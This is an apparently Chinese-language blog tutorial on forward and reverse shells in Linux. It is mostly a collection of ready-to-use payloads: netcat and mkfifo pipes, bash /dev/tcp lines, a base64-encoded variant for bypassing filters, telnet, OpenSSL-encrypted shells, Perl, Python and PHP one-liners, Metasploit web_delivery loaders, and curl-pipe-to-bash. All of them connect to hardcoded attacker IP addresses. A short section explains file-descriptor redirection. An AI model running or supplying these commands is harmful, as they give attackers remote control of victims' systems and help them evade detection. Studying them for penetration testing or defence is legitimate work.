一、反弹Shell简介
正向shell:控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。
反向Shell(反弹Shell):被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。
二、Linux反弹shell
1.NetCat(NC)
(1)NC正向Shell
原理:被控端将cmd.exe重定向到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell。
被控端:nc -lvvp 6666 -e /bin/bash
控制端:nc 192.168.1.106 6666 (攻击机)
(2)NC反弹Shell
原理:被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。
控制端:nc -lvvp 7777 (在攻击端某个端口进行监听)
被控端:nc -e /bin/bash 192.168.1.105 7777 (主动将cmd反弹给控制端相应端口)
没有-e参数反弹shell:
被控端输入payload:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 8.131.57.209 6666 >/tmp/f
#mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh, /bin/sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路


mknod backpipe p; nc 8.131.57.209 6666 0<backpipe | /bin/bash 1>backpipe 2>backpipe
(3)Msfvenom生成netcat反弹shell
msfvenom -l payloads | grep "netcat" | awk '{print $1}' (搜索到的都可以生成payload)
cmd/unix/bind_netcat
cmd/unix/bind_netcat_gaping
cmd/unix/bind_netcat_gaping_ipv6
cmd/unix/reverse_netcat
cmd/unix/reverse_netcat_gaping
正向(windows):
use exploit/multi/hanlder
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set rhost 8.131.57.209
exploit
正向(linux):
msfvenom -p cmd/unix/bind_netcat lport=6666 -f raw
生成payload:mkfifo /tmp/numrv; (nc -l -p 6666 ||nc -l 6666)0</tmp/numrv | /bin/sh >/tmp/numrv 2>&1; rm /tmp/numrv
反向:
msfvenom -p cmd/unix/reverse_netcat lhost=8.131.57.209 lport=6666 -f raw
生成payload:mkfifo /tmp/gwgb; nc 8.131.57.209 6666 0</tmp/gwgb | /bin/sh >/tmp/gwgb 2>&1; rm /tmp/gwgb


2.Bash反弹shell
被控端:bash -i >& /dev/tcp/8.131.57.209/6666 0>&1
控制端:nc –lvvp 6666
被控端:exec 5<>/dev/tcp/8.131.57.209/6666;cat <&5 | while read line; do $line 2>&5 >&5; done
控制端:nc –lvvp 6666
msfvenom -p cmd/unix/reverse_bash lhost=8.131.57.209 lport=6666 -f raw
生成的payload:0<&57-;exec 57<>/dev/tcp/8.131.57.209/6666;sh <&57 >&57 2>&57
(1)base64编码绕过
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMS41Ny4yMDkvNjY2NiAwPiYx|base64 -d|bash -i"
中间的编码内容:bash -i >& /dev/tcp/8.131.57.209/6666 0>&1 (使用base64编码)
3.Bash反弹shell原理(命令原理)
(1)Linux标准文件描述符
Linux系统将所有设备都当作文件来处理,而Linux用文件描述符来标识每个文件对象。当Linux启动的时候会默认打开三个文件描述符。我们与计算机之间的交互是我可以输入一些指令之后它给我一些输出。

文件描述符0:理解为我和计算机交互时的输入,而这个输入默认是指向键盘的;
文件描述符1:理解为我和计算机交互时的输出,而这个输出默认是指向显示器的;
文件描述符2:理解为我和计算机交互时,计算机出现错误时的输出,而这个输出默认是和文件描述符1指向一个位置;
(2)重定向
重定向是把输出定向到文件或者标准流。重定向输入输出本质上就是重定向文件描述符。
输入重定向:<,从文件读取输入。
输出重定向:>,将输出保存到文件。
>>,将输出追加到文件。
管道:|,将一个程序的输出作为输入发送到另一个程序。
(3)更改标准输出的位置 (通过exec命令)
把标准输出位置更改到test文件中:
exec 1> test (因为正常标准输出是在显示器上,通过exec更改标准输出位置,1表示标准输出)
把当前标准输出重定向到test文件中:
➜ ~ ➜ echo 'lst' 1>test
➜ ~ ➜ cat test
lst
(4)更改标准输入的位置
从键盘输入,把输入读入user变量
➜ ~ ➜ read user
testtest
➜ ~ ➜ echo $user
testtest


把当前标准输入重定向到test文件中:
➜ ~ ➜ read user 0< test (read是从键盘读取变量值,通过重定向将test文件中的第一行内容重定向到标准输入0中)
➜ ~ ➜ echo $user (变量不是文件,需要通过echo输出)
lst


标准错误输出和标准输出的区别是,它在命令出错情况下的输出。
exec 2> test (原理同上)
(5)分配文件描述符
分配自己的文件描述符:
➜ ~ ➜ exec 5> test (先将文件描述符5重定向到文件test中,&5只存在于当前shell中)
➜ ~ ➜ echo 'are you ok?' 1>&5 (通过重定向将字符串输出到文件描述符5中,间接输出到文件中,文件描述符前面需要加上&符号)
➜ ~ ➜ cat test
are you ok?
把文件描述符5指向test文件,然后把当前输出重定向到文件描述符5(用&引用文件描述符,即找到文件描述符指向的目标文件)

(6)/dev/null
/dev/null:特殊文件,写入的任何东西都会被清空。
把标准错误输出重定向到/dev/null,从而丢掉不想保存的错误信息
whoami 2>/dev/null (清空错误信息)
快速移除文件中的数据而不用删除文件
cat /dev/null > test (只清空文件内容)
(7)Bash反弹shell
被控端: bash -i >& /dev/tcp/8.131.57.209/6666 0>&1
控制端: nc –lvvp 6666
bash -i:打开一个交互式的bash shell。
/dev/tcp/:是Linux中的一个特殊设备,打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
/dev/tcp/8.131.57.209/6666:和8.131.57.209的6666端口建立TCP连接
4.实现控制端和被控端之间的交互
(1)把被控端的交互式shell输出重定向到控制端
bash -i > /dev/tcp/8.131.57.209/6666 把被控端执行的命令结果返回到控制端


(2)把控制端的输入重定向到被控端的交互式shell
bash -i < /dev/tcp/8.131.57.209/6666 (此时被控端无法输入命令,退出需要控制端进行断开,或者直接断开本地的连接)


(3)结合两条语句
bash -i > /dev/tcp/8.131.57.209/6666 0>&1
由/dev/tcp/8.131.57.209/6666传递的数据作为交互式shell的输入,命令执行的结果输出到/dev/tcp/8.131.57.209/6666
(4)Bash反弹shell
bash -i &> /dev/tcp/8.131.57.209/6666 0>&1
bash -i >& /dev/tcp/8.131.57.209/6666 0>&1
bash -i > /dev/tcp/8.131.57.209/6666 0>&1 2>&1 (在命令后面加上个2>&1重定向错误内容)
>&、&>:混合输出(正确、错误的输出都输出到一个地方)(两种写法都可)
5.Telnet
攻击机:
输入:nc -lvvp 5555
输出:nc -lvvp 6666
目标机:
telnet 8.131.57.209 5555 | /bin/bash | telnet 8.131.57.209 6666 (将从5555端口得到的输入结果输出到攻击机的6666端口)
攻击机:
nc -lvvp 6666
目标机:
rm -f a && mknod a p && telnet 81.70.242.138 6666 0<a | /bin/bash 1>a (创建一个设备文件从而实现命令的循环)(mknod a p创建一个管道文件)
或rm -f a;mknod a p;telnet 81.70.242.138 6666 0<a | /bin/bash 1>a (&&与;等效)
6.OpenSSL
openssl反弹443端口,流量加密传输
(1)在远程攻击主机上生成秘钥文件
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes (配置选择默认;生成两个文件:一个密钥文件,一个证书文件)
(2)在远程攻击主机上启动监视器
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
(3)在目标机上反弹shell
mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 8.131.57.209:443 > /tmp/s;rm /tmp/s
7.Perl
perl -e 'use Socket;$i="81.70.242.138";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' (反弹shell)
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"81.70.242.138:6666");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_while<>;' (存在问题)



(1)Msfvenom生成Perl脚本
msfvenom -l payloads | grep "perl" | awk '{print $1}'
msfvenom -p cmd/unix/bind_perl lport=6666 -f raw
msfvenom -p cmd/unix/reverse_perl lhost=8.131.57.209 lport=6666 -f raw
8.Python
(1)Python一行命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("81.70.242.138",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
msfvenom -l payloads | grep "python" | awk '{print $1}'

(2)通过Web delivery反弹shell
use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set target 0
msf5 exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set lport 8888
msf5 exploit(multi/script/web_delivery) > exploit –j
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.1.227:8080/xTFXU0uvggg8U7(上面生成的)', context=ssl._create_unverified_context());exec(r.read());"
(3)Msfvenom生成Python反弹shell的payload
msfvenom -p python/meterpreter/reverse_tcp LHOST=8.131.57.209 LPORT=6666 -f raw
handler -p python/meterpreter/reverse_tcp -H 8.131.57.209 -P 6666
9.PHP
php -r '$sock=fsockopen("81.70.242.138",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
msfvenom -l payload | grep "php" | awk '{print($1)}'
(1)通过web_delivery反弹shell
use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set target 1
msf5 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > exploit –j
生成的payload:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://8.131.57.209:8080/RRfKpX', false,stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
(2)Msfvenom生成php反弹shell脚本
msfvenom -p php/bind_php lport=6666 -f raw > bind_php.php
10.Ruby
msfvenom -p cmd/unix/bind_ruby lport=6666 -f raw
msfvenom -l payload | grep "ruby" | awk '{print($1)}'
11.Curl
VPS:
cat index.html
bash -i >& /dev/tcp/8.131.57.209/6666 0>&1
python3 -m http.server
nc -lvvp 6666
Target:
curl 8.131.57.209:8000|bash



Comments | 2 条评论
Very good write-up. I absolutely love this website. Continue the good work!
@דירות דיסקרטיות בתל אביב Thank you!